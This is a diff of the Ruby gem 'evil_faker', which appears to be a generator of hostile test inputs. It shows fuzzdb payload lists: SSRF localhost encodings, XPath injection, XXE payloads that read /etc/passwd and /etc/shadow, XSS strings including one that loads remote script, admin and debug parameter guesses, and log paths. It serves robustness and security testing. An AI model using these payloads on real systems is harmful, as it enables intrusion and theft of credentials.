evil_faker 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (135) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GENERATORS.md +164 -0
  4. data/LICENSE.txt +21 -0
  5. data/NOTICE.md +196 -0
  6. data/README.md +156 -0
  7. data/Rakefile +12 -0
  8. data/lib/evil_faker/base.rb +50 -0
  9. data/lib/evil_faker/data/blns.txt +742 -0
  10. data/lib/evil_faker/data/groups/blns/emoji/emoji.txt +10 -0
  11. data/lib/evil_faker/data/groups/blns/emoji/emoticons.txt +12 -0
  12. data/lib/evil_faker/data/groups/blns/emoji/regional.txt +3 -0
  13. data/lib/evil_faker/data/groups/blns/exploits/cves.txt +4 -0
  14. data/lib/evil_faker/data/groups/blns/exploits/human.txt +1 -0
  15. data/lib/evil_faker/data/groups/blns/exploits/ios.txt +3 -0
  16. data/lib/evil_faker/data/groups/blns/exploits/irc.txt +1 -0
  17. data/lib/evil_faker/data/groups/blns/filenames.txt +14 -0
  18. data/lib/evil_faker/data/groups/blns/injection/command.txt +6 -0
  19. data/lib/evil_faker/data/groups/blns/injection/file_inclusion.txt +2 -0
  20. data/lib/evil_faker/data/groups/blns/injection/interpolation.txt +9 -0
  21. data/lib/evil_faker/data/groups/blns/injection/jinja2.txt +2 -0
  22. data/lib/evil_faker/data/groups/blns/injection/script.txt +236 -0
  23. data/lib/evil_faker/data/groups/blns/injection/server_code.txt +9 -0
  24. data/lib/evil_faker/data/groups/blns/injection/sql.txt +8 -0
  25. data/lib/evil_faker/data/groups/blns/injection/xxe.txt +1 -0
  26. data/lib/evil_faker/data/groups/blns/numeric/numeric.txt +71 -0
  27. data/lib/evil_faker/data/groups/blns/numeric/unicode_numbers.txt +2 -0
  28. data/lib/evil_faker/data/groups/blns/profanity.txt +22 -0
  29. data/lib/evil_faker/data/groups/blns/reserved.txt +19 -0
  30. data/lib/evil_faker/data/groups/blns/rtl.txt +7 -0
  31. data/lib/evil_faker/data/groups/blns/terminal.txt +3 -0
  32. data/lib/evil_faker/data/groups/blns/unicode/accents.txt +4 -0
  33. data/lib/evil_faker/data/groups/blns/unicode/bom.txt +2 -0
  34. data/lib/evil_faker/data/groups/blns/unicode/controls.txt +3 -0
  35. data/lib/evil_faker/data/groups/blns/unicode/font.txt +8 -0
  36. data/lib/evil_faker/data/groups/blns/unicode/lowercase.txt +2 -0
  37. data/lib/evil_faker/data/groups/blns/unicode/quotes.txt +11 -0
  38. data/lib/evil_faker/data/groups/blns/unicode/scripts.txt +2 -0
  39. data/lib/evil_faker/data/groups/blns/unicode/special.txt +4 -0
  40. data/lib/evil_faker/data/groups/blns/unicode/symbols.txt +12 -0
  41. data/lib/evil_faker/data/groups/blns/unicode/trick.txt +5 -0
  42. data/lib/evil_faker/data/groups/blns/unicode/two_byte.txt +10 -0
  43. data/lib/evil_faker/data/groups/blns/unicode/upsidedown.txt +2 -0
  44. data/lib/evil_faker/data/groups/blns/unicode/whitespace.txt +1 -0
  45. data/lib/evil_faker/data/groups/blns/zalgo.txt +5 -0
  46. data/lib/evil_faker/data/groups/fuzzdb/email/invalid.txt +26 -0
  47. data/lib/evil_faker/data/groups/fuzzdb/email/valid.txt +32 -0
  48. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoji.txt +8 -0
  49. data/lib/evil_faker/data/groups/fuzzdb/emoji/emoticons.txt +11 -0
  50. data/lib/evil_faker/data/groups/fuzzdb/emoji/regional.txt +3 -0
  51. data/lib/evil_faker/data/groups/fuzzdb/exploits/ios.txt +1 -0
  52. data/lib/evil_faker/data/groups/fuzzdb/headers/mimetypes.txt +1864 -0
  53. data/lib/evil_faker/data/groups/fuzzdb/headers/protocol.txt +357 -0
  54. data/lib/evil_faker/data/groups/fuzzdb/injection/command.txt +1115 -0
  55. data/lib/evil_faker/data/groups/fuzzdb/injection/directory_traversal.txt +536 -0
  56. data/lib/evil_faker/data/groups/fuzzdb/injection/file_inclusion.txt +906 -0
  57. data/lib/evil_faker/data/groups/fuzzdb/injection/file_upload_bypass.txt +371 -0
  58. data/lib/evil_faker/data/groups/fuzzdb/injection/format_strings.txt +67 -0
  59. data/lib/evil_faker/data/groups/fuzzdb/injection/generic.txt +584 -0
  60. data/lib/evil_faker/data/groups/fuzzdb/injection/integer_overflow.txt +12 -0
  61. data/lib/evil_faker/data/groups/fuzzdb/injection/json.txt +89 -0
  62. data/lib/evil_faker/data/groups/fuzzdb/injection/ldap.txt +35 -0
  63. data/lib/evil_faker/data/groups/fuzzdb/injection/magic_hashes.txt +24 -0
  64. data/lib/evil_faker/data/groups/fuzzdb/injection/nosql.txt +17 -0
  65. data/lib/evil_faker/data/groups/fuzzdb/injection/open_redirect.txt +37 -0
  66. data/lib/evil_faker/data/groups/fuzzdb/injection/rfi.txt +2241 -0
  67. data/lib/evil_faker/data/groups/fuzzdb/injection/script.txt +930 -0
  68. data/lib/evil_faker/data/groups/fuzzdb/injection/server_side_include.txt +78 -0
  69. data/lib/evil_faker/data/groups/fuzzdb/injection/source_disclosure.txt +18 -0
  70. data/lib/evil_faker/data/groups/fuzzdb/injection/sql.txt +661 -0
  71. data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt +56 -0
  72. data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt +329 -0
  73. data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt +13 -0
  74. data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt +65 -0
  75. data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt +157 -0
  76. data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt +15 -0
  77. data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt +26 -0
  78. data/lib/evil_faker/data/groups/fuzzdb/rtl.txt +5 -0
  79. data/lib/evil_faker/data/groups/fuzzdb/terminal.txt +3 -0
  80. data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt +15 -0
  81. data/lib/evil_faker/data/groups/fuzzdb/unicode/special.txt +31 -0
  82. data/lib/evil_faker/data/groups/fuzzdb/unicode/trick.txt +5 -0
  83. data/lib/evil_faker/data/groups/fuzzdb/unicode/two_byte.txt +9 -0
  84. data/lib/evil_faker/data/groups/fuzzdb/unicode/upsidedown.txt +2 -0
  85. data/lib/evil_faker/data/groups/intruder_payloads/filenames.txt +124 -0
  86. data/lib/evil_faker/data/groups/intruder_payloads/injection/command.txt +445 -0
  87. data/lib/evil_faker/data/groups/intruder_payloads/injection/directory_traversal.txt +2578 -0
  88. data/lib/evil_faker/data/groups/intruder_payloads/injection/file_inclusion.txt +698 -0
  89. data/lib/evil_faker/data/groups/intruder_payloads/injection/generic.txt +1401 -0
  90. data/lib/evil_faker/data/groups/intruder_payloads/injection/overflow.txt +36 -0
  91. data/lib/evil_faker/data/groups/intruder_payloads/injection/script.txt +61 -0
  92. data/lib/evil_faker/data/groups/intruder_payloads/injection/server_side_include.txt +18 -0
  93. data/lib/evil_faker/data/groups/intruder_payloads/injection/sql.txt +753 -0
  94. data/lib/evil_faker/data/groups/intruder_payloads/injection/xxe.txt +66 -0
  95. data/lib/evil_faker/data/groups/intruder_payloads/unicode/bad_chars.txt +1 -0
  96. data/lib/evil_faker/data/groups/payloads_all_the_things/headers/cache_deception.txt +1125 -0
  97. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/command.txt +496 -0
  98. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/directory_traversal.txt +22607 -0
  99. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/file_inclusion.txt +4787 -0
  100. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ldap.txt +60 -0
  101. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/nosql.txt +26 -0
  102. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/open_redirect.txt +305 -0
  103. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/script.txt +2165 -0
  104. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/sql.txt +1354 -0
  105. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/ssti.txt +105 -0
  106. data/lib/evil_faker/data/groups/payloads_all_the_things/injection/xxe.txt +102 -0
  107. data/lib/evil_faker/data/groups/payloads_all_the_things/routes/admin_interfaces.txt +52 -0
  108. data/lib/evil_faker/groups/email.rb +11 -0
  109. data/lib/evil_faker/groups/emoji.rb +12 -0
  110. data/lib/evil_faker/groups/exploits.rb +13 -0
  111. data/lib/evil_faker/groups/filenames.rb +8 -0
  112. data/lib/evil_faker/groups/headers.rb +12 -0
  113. data/lib/evil_faker/groups/injection.rb +35 -0
  114. data/lib/evil_faker/groups/numeric.rb +11 -0
  115. data/lib/evil_faker/groups/profanity.rb +8 -0
  116. data/lib/evil_faker/groups/reserved.rb +8 -0
  117. data/lib/evil_faker/groups/routes.rb +13 -0
  118. data/lib/evil_faker/groups/rtl.rb +8 -0
  119. data/lib/evil_faker/groups/terminal.rb +8 -0
  120. data/lib/evil_faker/groups/unicode.rb +23 -0
  121. data/lib/evil_faker/groups/zalgo.rb +8 -0
  122. data/lib/evil_faker/source_base.rb +30 -0
  123. data/lib/evil_faker/sources/blns.rb +8 -0
  124. data/lib/evil_faker/sources/fuzzdb.rb +8 -0
  125. data/lib/evil_faker/sources/intruder_payloads.rb +8 -0
  126. data/lib/evil_faker/sources/payloads_all_the_things.rb +8 -0
  127. data/lib/evil_faker/version.rb +5 -0
  128. data/lib/evil_faker.rb +13 -0
  129. data/scripts/blns_build_corpus.rb +159 -0
  130. data/scripts/fuzzdb_build_corpus.rb +166 -0
  131. data/scripts/generate_namespaces.rb +87 -0
  132. data/scripts/intruder_payloads_build_corpus.rb +112 -0
  133. data/scripts/payloads_all_the_things_build_corpus.rb +74 -0
  134. data/sig/evil_faker.rbs +4 -0
  135. metadata +181 -0
data/lib/evil_faker/data/groups/fuzzdb/injection/ssrf.txt ADDED
@@ -0,0 +1,56 @@
1
+ 127.0.0.1
2
+ 127.0.0.2
3
+ 127.1
4
+ 127.2
5
+ ::1
6
+ 0:0:0:0:0:0:0:1
7
+ 0:0:0:000:0:0:0:1
8
+ 0000:0000:0000:0000:0000:0000:0000:0001
9
+ 2130706433
10
+ 2130706434
11
+ 7F000001
12
+ 7F000002
13
+ localhos
14
+ 127.123.123.123
15
+ 0x7f.1
16
+ 017700000001
17
+ localhost
18
+ test.localtest.me
19
+ 0x7f.0x0.0x0.0x1
20
+ 0177.00.00.01
21
+ 0x7f001
22
+ %6c%6f%63%61%6c%68%6f%73%74
23
+ %31%32%37%2e%30%2e%30%2e%31
24
+ 0x7f000001
25
+ 00000000177.000000000.000000000.000000001
26
+ 0x000000007f.0x000000000.0x000000000.0x000000001
27
+ 0x7f.0x0.0x0.1
28
+ 0x7f.0x0.0.1
29
+ 0x7f.0.0.1
30
+ 127.0x0.0x0.0x1
31
+ 127.0.0x0.0x1
32
+ 127.0.0.0x1
33
+ 0177.00.00.1
34
+ 0177.00.0.1
35
+ 0177.0.0.1
36
+ 127.00.00.01
37
+ 127.0.00.01
38
+ 127.0.0.01
39
+ 0x7f.0x0.1
40
+ 0177.00.1
41
+ 0177.1
42
+ 0x7f.00.1
43
+ 0177.0x0.1
44
+ ::ffff:7f000001
45
+ 0:0:0:0:0:ffff:7f000001
46
+ 0000:0000:0000:0000:0000:ffff:7f000001
47
+ 0000:0000:0000:0000:0000:ffff:127.0.0.1
48
+ A.34.192.228.43.1time.127.0.0.1.99times.repeat.rebind.network
49
+ hostname
50
+ 0177.2
51
+ 0177.0.1
52
+ 0177.0.2
53
+ 017700000002
54
+ 0x7F000001
55
+ 0x7F000002
56
+ 0X07f.0.0.1
data/lib/evil_faker/data/groups/fuzzdb/injection/type_confusion.txt ADDED
@@ -0,0 +1,329 @@
1
+ %00
2
+ %01
3
+ %02
4
+ %03
5
+ %04
6
+ %05
7
+ %06
8
+ %07
9
+ %08
10
+ %09
11
+ %0a
12
+ %0b
13
+ %0c
14
+ %0d
15
+ %0e
16
+ %0f
17
+ %10
18
+ %11
19
+ %12
20
+ %13
21
+ %14
22
+ %15
23
+ %16
24
+ %17
25
+ %18
26
+ %19
27
+ %1a
28
+ %1b
29
+ %1c
30
+ %1d
31
+ %1e
32
+ %1f
33
+ %20
34
+ %21
35
+ %22
36
+ %23
37
+ %24
38
+ %25
39
+ %26
40
+ %27
41
+ %28
42
+ %29
43
+ %2a
44
+ %2b
45
+ %2c
46
+ %2d
47
+ %2e
48
+ %2f
49
+ %30
50
+ %31
51
+ %32
52
+ %33
53
+ %34
54
+ %35
55
+ %36
56
+ %37
57
+ %38
58
+ %39
59
+ %3a
60
+ %3b
61
+ %3c
62
+ %3d
63
+ %3e
64
+ %3f
65
+ %40
66
+ %41
67
+ %42
68
+ %43
69
+ %44
70
+ %45
71
+ %46
72
+ %47
73
+ %48
74
+ %49
75
+ %4a
76
+ %4b
77
+ %4c
78
+ %4d
79
+ %4e
80
+ %4f
81
+ %50
82
+ %51
83
+ %52
84
+ %53
85
+ %54
86
+ %55
87
+ %56
88
+ %57
89
+ %58
90
+ %59
91
+ %5a
92
+ %5b
93
+ %5c
94
+ %5d
95
+ %5e
96
+ %5f
97
+ %60
98
+ %61
99
+ %62
100
+ %63
101
+ %64
102
+ %65
103
+ %66
104
+ %67
105
+ %68
106
+ %69
107
+ %6a
108
+ %6b
109
+ %6c
110
+ %6d
111
+ %6e
112
+ %6f
113
+ %70
114
+ %71
115
+ %72
116
+ %73
117
+ %74
118
+ %75
119
+ %76
120
+ %77
121
+ %78
122
+ %79
123
+ %7a
124
+ %7b
125
+ %7c
126
+ %7d
127
+ %7e
128
+ %7f
129
+ %80
130
+ %81
131
+ %82
132
+ %83
133
+ %84
134
+ %85
135
+ %86
136
+ %87
137
+ %88
138
+ %89
139
+ %8a
140
+ %8b
141
+ %8c
142
+ %8d
143
+ %8e
144
+ %8f
145
+ %90
146
+ %91
147
+ %92
148
+ %93
149
+ %94
150
+ %95
151
+ %96
152
+ %97
153
+ %98
154
+ %99
155
+ %9a
156
+ %9b
157
+ %9c
158
+ %9d
159
+ %9e
160
+ %9f
161
+ %a0
162
+ %a1
163
+ %a2
164
+ %a3
165
+ %a4
166
+ %a5
167
+ %a6
168
+ %a7
169
+ %a8
170
+ %a9
171
+ %aa
172
+ %ab
173
+ %ac
174
+ %ad
175
+ %ae
176
+ %af
177
+ %b0
178
+ %b1
179
+ %b2
180
+ %b3
181
+ %b4
182
+ %b5
183
+ %b6
184
+ %b7
185
+ %b8
186
+ %b9
187
+ %ba
188
+ %bb
189
+ %bc
190
+ %bd
191
+ %be
192
+ %bf
193
+ %c0
194
+ %c1
195
+ %c2
196
+ %c3
197
+ %c4
198
+ %c5
199
+ %c6
200
+ %c7
201
+ %c8
202
+ %c9
203
+ %ca
204
+ %cb
205
+ %cc
206
+ %cd
207
+ %ce
208
+ %cf
209
+ %d0
210
+ %d1
211
+ %d2
212
+ %d3
213
+ %d4
214
+ %d5
215
+ %d6
216
+ %d7
217
+ %d8
218
+ %d9
219
+ %da
220
+ %db
221
+ %dc
222
+ %dd
223
+ %de
224
+ %df
225
+ %e0
226
+ %e1
227
+ %e2
228
+ %e3
229
+ %e4
230
+ %e5
231
+ %e6
232
+ %e7
233
+ %e8
234
+ %e9
235
+ %ea
236
+ %eb
237
+ %ec
238
+ %ed
239
+ %ee
240
+ %ef
241
+ %f0
242
+ %f1
243
+ %f2
244
+ %f3
245
+ %f4
246
+ %f5
247
+ %f6
248
+ %f7
249
+ %f8
250
+ %f9
251
+ %fa
252
+ %fb
253
+ %fc
254
+ %fd
255
+ %fe
256
+ %ff
257
+ %00%00
258
+ \0
259
+ \0\
260
+ \00
261
+ \00\
262
+ \0\0
263
+ \0\0\
264
+ \00\00\
265
+ \000
266
+ \000\
267
+ \0000
268
+ \0000\
269
+ \x00
270
+ \x00\
271
+ \x00\x00
272
+ \x00\x00\
273
+ \x0000
274
+ \x0000\
275
+ \x00000000
276
+ \x00000000\
277
+ \u0000
278
+ \u0000\
279
+ \u00000000
280
+ \u00000000\
281
+ \u0000\u0000
282
+ \u0000\u0000\
283
+ \z
284
+ \z\
285
+ NUL
286
+ NULL
287
+ nul
288
+ null
289
+ FALSE
290
+ false
291
+ 0x00
292
+ 0x0000
293
+ 0x00000000
294
+ �
295
+ �
296
+ "\u0000"
297
+ u"\u0000"
298
+ 0
299
+ 00
300
+ 0000
301
+ 00000000
302
+ %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
303
+ %C0%80
304
+ %E0%80%80
305
+ %F0%80%80%80
306
+ %F8%80%80%80%80
307
+ %FC%80%80%80%80%80
308
+ %FE%80%80%80%80%80%80
309
+ �
310
+ %2500
311
+ %252500
312
+ %25252500
313
+ %25%30%30
314
+ \x%30%30
315
+ %%30%30
316
+ %25%2530%2530
317
+ Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
318
+ Roses are red, violets are blue. Hope you enjoy terminal hue
319
+ But now...for my greatest trick...
320
+ The quick brown fox... [Beeeep]
321
+ TRUE
322
+ true
323
+ 1
324
+ -1
325
+ 4294967295
326
+ 0xFFFFFFFF
327
+ \FFFFFFFF
328
+ \FFFFFFFF\
329
+ \xFFFFFFFF
data/lib/evil_faker/data/groups/fuzzdb/injection/xpath.txt ADDED
@@ -0,0 +1,13 @@
1
+ ' or '1'='1
2
+ ' or ''='
3
+ x' or 1=1 or 'x'='y
4
+ /
5
+ //
6
+ //*
7
+ */*
8
+ @*
9
+ count(/child::node())
10
+ x' or name()='username' or 'x'='y
11
+ ' and count(/*)=1 and '1'='1
12
+ ' and count(/@*)=1 and '1'='1
13
+ ' and count(/comment())=1 and '1'='1
data/lib/evil_faker/data/groups/fuzzdb/injection/xxe.txt ADDED
@@ -0,0 +1,65 @@
1
+ -
2
+ ' or ''='
3
+ ' or '1'='1
4
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////dev/random"">]><foo>&xxe;</foo>"
5
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/passwd"">]><foo>&xxe;</foo>"
6
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file:////etc/shadow"">]><foo>&xxe;</foo>"
7
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM ""file://c:/boot.ini"">]><foo>&xxe;</foo>"
8
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[' or 1=1 or ''=']]></foo>"
9
+ "<?xml version=""1.0"" encoding=""ISO-8859-1""?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>"
10
+ "<HTML xmlns:xss><?import namespace=""xss"" implementation=""http://xss.rocks/xss.htc""><xss:xss>XSS</xss:xss></HTML>"
11
+ "<xml ID=""xss""><I><B><IMG SRC=""javas<!-- -->cript:alert('XSS')""></B></I></xml><SPAN DATASRC=""#xss"" DATAFLD=""B"" DATAFORMATAS=""HTML""></SPAN></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
12
+ "<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>"
13
+ "<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>"
14
+ $
15
+ %
16
+ &apos;XoiZR
17
+ &lt;% Tnn96 %&gt;
18
+ &lt;%= Tnn96 %&gt;
19
+ &lt;? Tnn96 ?&gt;
20
+ &lt;?Tnn96 ?&gt;
21
+ &lt;Tnn96&gt;
22
+ &quot;XoiZR
23
+ (Tnn96)
24
+ *
25
+ */*
26
+ /
27
+ //
28
+ //*
29
+ :
30
+ ;
31
+ @
32
+ @*
33
+ [Tnn96]
34
+ ]>
35
+ {{= Tnn96}}
36
+ {{Tnn96}}
37
+ {= Tnn96}
38
+ {Tnn96}
39
+ +
40
+ <![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('XSS');<![CDATA[<]]>/SCRIPT<![CDATA[>]]>
41
+ <![CDATA[<script>var n=0;while(true){n++;}</script>]]>
42
+ <!DOCTYPE autofillupload [<!ENTITY 9eTVC SYSTEM "file:///etc/passwd">
43
+ <!DOCTYPE autofillupload [<!ENTITY D71Mn SYSTEM "file:///c:/boot.ini">
44
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xee;</foo>
45
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xee;</foo>
46
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xee;</foo>
47
+ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://c:/boot.ini">]><foo>&xee;</foo>
48
+ <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[' or 1=1 or ''=']]></foof>
49
+ <?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert('gotcha');<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
50
+ <name>','')); phpinfo(); exit;/*</name>
51
+ 0
52
+ 0.00005
53
+ 0.1
54
+ 0.9
55
+ 1
56
+ -1
57
+ 1.7976931348623157e+308
58
+ 5e-10
59
+ 5e-324
60
+ count(/child::node())
61
+ false
62
+ null
63
+ true
64
+ x' or 1=1 or 'x'='y
65
+ x' or name()='username' or 'x'='y
data/lib/evil_faker/data/groups/fuzzdb/routes/debug_params.txt ADDED
@@ -0,0 +1,157 @@
1
+ 7357=1
2
+ 7357=true
3
+ 7357=y
4
+ 7357=yes
5
+ access=1
6
+ access=true
7
+ access=y
8
+ access=yes
9
+ adm=1
10
+ adm1n=1
11
+ adm1n=true
12
+ adm1n=y
13
+ adm1n=yes
14
+ admin=1
15
+ admin=true
16
+ admin=y
17
+ admin=yes
18
+ adm=true
19
+ adm=y
20
+ adm=yes
21
+ dbg=1
22
+ dbg=true
23
+ dbg=y
24
+ dbg=yes
25
+ debug=1
26
+ debug=true
27
+ debug=y
28
+ debug=yes
29
+ edit=1
30
+ edit=true
31
+ edit=y
32
+ edit=yes
33
+ grant=1
34
+ grant=true
35
+ grant=y
36
+ grant=yes
37
+ test=1
38
+ test=true
39
+ test=y
40
+ test=yes
41
+ 0
42
+ 1
43
+ add
44
+ admin
45
+ alert
46
+ alter
47
+ auth
48
+ authenticate
49
+ append
50
+ calc
51
+ calculate
52
+ cancel
53
+ change
54
+ check
55
+ clear
56
+ click
57
+ clone
58
+ close
59
+ create
60
+ crypt
61
+ decrypt
62
+ del
63
+ delete
64
+ demo
65
+ disable
66
+ dl
67
+ download
68
+ edit
69
+ enable
70
+ encrypt
71
+ exec
72
+ execute
73
+ file
74
+ focus
75
+ get
76
+ help
77
+ initiate
78
+ is
79
+ list
80
+ load
81
+ ls
82
+ make
83
+ mod
84
+ mode
85
+ modify
86
+ move
87
+ new
88
+ off
89
+ on
90
+ open
91
+ post
92
+ proxy
93
+ pull
94
+ put
95
+ query
96
+ read
97
+ remove
98
+ rename
99
+ reset
100
+ retrieve
101
+ run
102
+ save
103
+ search
104
+ send
105
+ shell
106
+ show
107
+ snd
108
+ subtract
109
+ test
110
+ to
111
+ toggle
112
+ update
113
+ upload
114
+ verify
115
+ view
116
+ vrfy
117
+ with
118
+ "7357":1
119
+ "7357":true
120
+ "7357":"y"
121
+ "7357":yes"
122
+ "access":1
123
+ "access":true
124
+ "access":"y"
125
+ "access":"yes"
126
+ "adm":1
127
+ "adm":true
128
+ "adm":"y"
129
+ "adm":"yes"
130
+ "adm1n":1
131
+ "adm1n":true
132
+ "adm1n":y"
133
+ "adm1n":"yes"
134
+ "admin":1
135
+ "admin":true
136
+ "admin":"y"
137
+ "admin":"yes"
138
+ "dbg":1
139
+ "dbg":true
140
+ "dbg":"y"
141
+ "dbg":"yes"
142
+ "debug":1
143
+ "debug":true
144
+ "debug":"y"
145
+ "debug":"yes"
146
+ "edit":1
147
+ "edit":true
148
+ "edit":"y"
149
+ "edit":"yes"
150
+ "grant":1
151
+ "grant":true
152
+ "grant":"y"
153
+ "grant":"yes"
154
+ "test":1
155
+ "test":true
156
+ "test":"y"
157
+ "test":"yes"
data/lib/evil_faker/data/groups/fuzzdb/routes/directory_indexing.txt ADDED
@@ -0,0 +1,15 @@
1
+ /%3f.jsp
2
+ /?M=D
3
+ /?S=D
4
+ ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
5
+ /cgi-bin/test-cgi?/*
6
+ /cgi-bin/test-cgi?*
7
+ /%00/
8
+ /%2e/
9
+ /%2f/
10
+ /%5c/
11
+ ;dir
12
+ `dir`
13
+ |dir|
14
+ |dir
15
+ ?M=D
data/lib/evil_faker/data/groups/fuzzdb/routes/local_paths.txt ADDED
@@ -0,0 +1,26 @@
1
+ /apache/logs/error.log
2
+ /apache/logs/access.log
3
+ /etc/httpd/logs/acces_log
4
+ /etc/httpd/logs/acces.log
5
+ /etc/httpd/logs/error_log
6
+ /etc/httpd/logs/error.log
7
+ /var/www/logs/access_log
8
+ /var/www/logs/access.log
9
+ /usr/local/apache/logs/access_log
10
+ /usr/local/apache/logs/access.log
11
+ /var/log/apache/access_log
12
+ /var/log/apache2/access_log
13
+ /var/log/apache/access.log
14
+ /var/log/apache2/access.log
15
+ /var/log/access_log
16
+ /var/log/access.log
17
+ /var/www/logs/error_log
18
+ /var/www/logs/error.log
19
+ /usr/local/apache/logs/error_log
20
+ /usr/local/apache/logs/error.log
21
+ /var/log/apache/error_log
22
+ /var/log/apache2/error_log
23
+ /var/log/apache/error.log
24
+ /var/log/apache2/error.log
25
+ /var/log/error_log
26
+ /var/log/error.log
data/lib/evil_faker/data/groups/fuzzdb/rtl.txt ADDED
@@ -0,0 +1,5 @@
1
+ ثم نفس سقطت وبالتحديد،, جزيرتي باستخدام أن دنو. إذ هنا؟ الستار وتنصيب كان. أهّل ايطاليا، بريطانيا-فرنسا قد أخذ. سليمان، إتفاقية بين ما, يذكر الحدود أي بعد, معاملة بولندا، الإطلاق عل إيو.
2
+ בְּרֵאשִׁית, בָּרָא אֱלֹהִים, אֵת הַשָּׁמַיִם, וְאֵת הָאָרֶץ
3
+ הָיְתָהtestالصفحات التّحول
4
+ ﷽
5
+ ﷺ
data/lib/evil_faker/data/groups/fuzzdb/terminal.txt ADDED
@@ -0,0 +1,3 @@
1
+ Roses are red, violets are blue. Hope you enjoy terminal hue
2
+ But now...for my greatest trick...
3
+ The quick brown fox... [Beeeep]
data/lib/evil_faker/data/groups/fuzzdb/unicode/bad_chars.txt ADDED
@@ -0,0 +1,15 @@
1
+ Ω≈ç√∫˜µ≤≥÷
2
+ åß∂ƒ©˙∆˚¬…æ
3
+ œ∑´®†¥¨ˆøπ“‘
4
+ ¡™£¢∞§¶•ªº–≠
5
+ ¸˛Ç◊ı˜Â¯˘¿
6
+ ÅÍÎÏ˝ÓÔÒÚÆ☃
7
+ Œ„´‰ˇÁ¨ˆØ∏”’
8
